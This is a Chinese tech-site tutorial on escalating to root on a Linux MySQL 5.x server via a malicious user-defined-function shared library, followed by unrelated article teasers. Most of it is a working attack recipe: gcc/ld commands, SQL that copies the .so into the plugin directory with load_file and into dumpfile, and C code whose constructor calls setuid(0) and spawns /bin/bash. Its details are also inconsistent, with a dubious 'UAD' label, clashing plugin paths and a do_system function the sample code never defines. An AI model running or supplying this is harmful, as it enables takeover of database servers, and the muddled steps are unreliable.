linux下mysql 5.x得到root密码后的另外一种利用方式

Linux下MySQL 5.x得到root密码后的另外一种利用方式是通过 MySQL 运行时加载自己编写的共享对象(Libraries)并执行其中的函数,以获取root权限。这种攻击方式也称为"UAD"(User-Defined Functions in Aggregate Deterministic Mode)攻击。以下是具体攻击步骤:

前提条件
- Linux环境中已经得到MySQL root账号的密码
- 已经将自己编写的共享对象(.so文件)上传到目标机器

步骤一:创建共享对象
在攻击者的Linux环境中使用以下命令生成共享对象:

gcc -g -c -fPIC -o exploittest.o exploittest.c
ld -shared -o exploittest.so exploittest.o

其中,exploittest.c 是编写好的共享库源码文件,exploittest.o 是编译好的目标文件,exploittest.so 是编译好的共享库文件。

步骤二:修改MySQL配置文件
在目标机器中找到MySQL的配置文件 my.cnf,通常存放在 /etc/mysql/my.cnf 或 /usr/local/mysql/etc/my.cnf 中。添加以下语句:

[mysqld]
plugin_dir=/tmp/

其中,/tmp/ 是共享库文件存放的路径。添加完之后,重启 MySQL 服务使其生效。

步骤三:上传共享对象
将步骤一中编译生成的共享库文件 exploittest.so 上传至目标机器存放共享库的路径(在本例中是 /tmp/ )下。

步骤四:连接MySQL
在目标机器中使用 root 权限连接 MySQL,输入以下 SQL 命令:

mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo(line) values(load_file('/tmp/exploittest.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/exploittest.so';

其中,/usr/lib/mysql/plugin/ 是用于存放 MySQL 插件的目录。以上命令将共享库文件迁移到 MySQL 的插件目录下。

步骤五:执行恶意函数
使用以下 SQL 命令来执行攻击者编写的共享库文件中的函数,从而实现对 MySQL 数据库的控制:

mysql> create function do_system returns integer soname 'exploittest.so';
mysql> select do_system('whoami > /tmp/whoami.txt');

以上命令将当前 MySQL 进程的用户名输出到文件 /tmp/whoami.txt 中。

示例说明:
假设 MySQL 服务器所在的IP地址为10.0.0.1,攻击者成功获得root密码,并编写了如下C语言代码,用于获取当前用户权限:

#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>

static void inject() __attribute__((constructor));
void inject() {
    setuid(0);
    system("/bin/bash");
}

攻击者在自己的Linux环境中生成共享对象 exploittest.so 并上传至10.0.0.1服务器的 /tmp/ 目录下。然后攻击者连接MySQL,执行以下命令:

mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo(line) values(load_file('/tmp/exploittest.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/exploittest.so';

最后,攻击者使用以下命令执行攻击代码:

mysql> create function do_system returns integer soname 'exploittest.so';
mysql> select do_system();

此时,攻击者获得了目标服务器的root权限。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:linux下mysql 5.x得到root密码后的另外一种利用方式 - Python技术站

(0)
上一篇 2023年5月22日
下一篇 2023年5月22日

相关文章

  • spring boot集成redisson的最佳实践示例

    针对“spring boot集成redisson的最佳实践示例”的完整攻略,我将按照以下步骤进行讲解: 导入Redisson依赖 配置Redisson连接信息 编写基本的Redisson工具类 使用Redisson进行操作 示例说明1:基于Redisson的分布式锁实现 示例说明2:基于Redisson的分布式限流实现 接下来将分别进行讲解。 1. 导入Re…

    database 2023年5月22日
    00
  • Oracle 多参数查询语句

    当我们需要查询一个表中的数据时,往往需要根据多个筛选条件进行查询。Oracle数据库提供了多参数查询语句,可以根据多个条件进行复合查询。 基础语法 多参数查询语句主要使用 WHERE 子句,语法如下: SELECT column1, column2, … FROM table_name WHERE condition1 AND condition2 AN…

    database 2023年5月21日
    00
  • MySQL命名、设计及使用规范《MySQL命名、设计及使用规范》

    数据库环境 dev:开发环境,开发可读写,可修改表结构。开发人员可以修改表结构,可以随意修改其中的数据但是需要保证不影响其他开发同事。 qa:测试环境,开发可读写,开发人员可以通过工具修改表结构。 sim:模拟环境,开发可读写,发起上线请求时,会先在这个环境上进行预执行,这个环境也可供部署上线演练或压力测试使用。 real:生产数据库从库(准实时同步),只读…

    MySQL 2023年4月13日
    00
  • Oracle数据库TNS常见错误的解决方法汇总

    Oracle数据库TNS常见错误的解决方法汇总 简介 Oracle是一种非常流行的关系型数据库管理系统。在使用Oracle进行开发和维护的过程中,用户经常会遇到TNS(Transparent Network Substrate)的常见错误。这些错误可能会导致用户无法连接Oracle数据库或执行SQL语句。 本文将详细介绍TNS常见错误的解决方法,帮助用户更好…

    database 2023年5月21日
    00
  • Android SQLite数据库进行查询优化的方法

    以下是关于“Android SQLite数据库进行查询优化的方法”的完整攻略: 1.简介 SQLite是一种轻量级的关系型数据库,通常在Android开发中被广泛使用。SQLite提供了一些方法,可以优化数据库查询的性能,这对于需要快速处理大量数据的应用程序尤为重要。本文将介绍如何通过索引和WHERE子句来优化SQLite数据库查询。 2.使用索引优化SQL…

    database 2023年5月19日
    00
  • 解决Mysql收缩事务日志和日志文件过大无法收缩问题

    针对“解决Mysql收缩事务日志和日志文件过大无法收缩问题”的问题,我可以提供以下攻略: 攻略一:通过清空事务日志文件解决 首先查看当前的事务日志文件(通常为mysql-bin.xxxxxx),可以通过show binary logs命令查看。 使用以下命令清空最新的事务日志文件: mysqlbinlog –read-from-remote-server …

    database 2023年5月22日
    00
  • SQL注入是什么?SQL注入原理及预防方法

    SQL注入是一种针对Web应用程序的攻击方法,攻击者通过注入恶意的SQL语句来获取或修改数据库中的数据。攻击者可以利用各种SQL注入技术来执行操作,包括数据盗取、数据修改和数据删除等。 SQL注入是利用了应用程序对用户输入数据的不充分验证,把恶意的SQL代码注入到应用程序的查询语句中,通过这种方式来控制或者破坏数据库的行为 SQL注入攻击是Web应用程序最常…

    MySQL 2023年3月10日
    00
  • Sql语句与存储过程查询数据的性能测试实现代码

    Sql语句与存储过程是我们常用的查询数据的方式。在进行数据查询时,为了提高查询的效率和性能,我们需要对两种查询方式进行性能测试。下面是完整的攻略步骤及实现代码示例。 环境准备:在进行性能测试之前,需要先准备好测试环境。建议在测试环境中使用较大的数据集和高并发的场景进行测试。同时,也需要准备好测试工具,我们推荐使用 Apache JMeter 工具。 编写Sq…

    database 2023年5月21日
    00
合作推广
合作推广
分享本页
返回顶部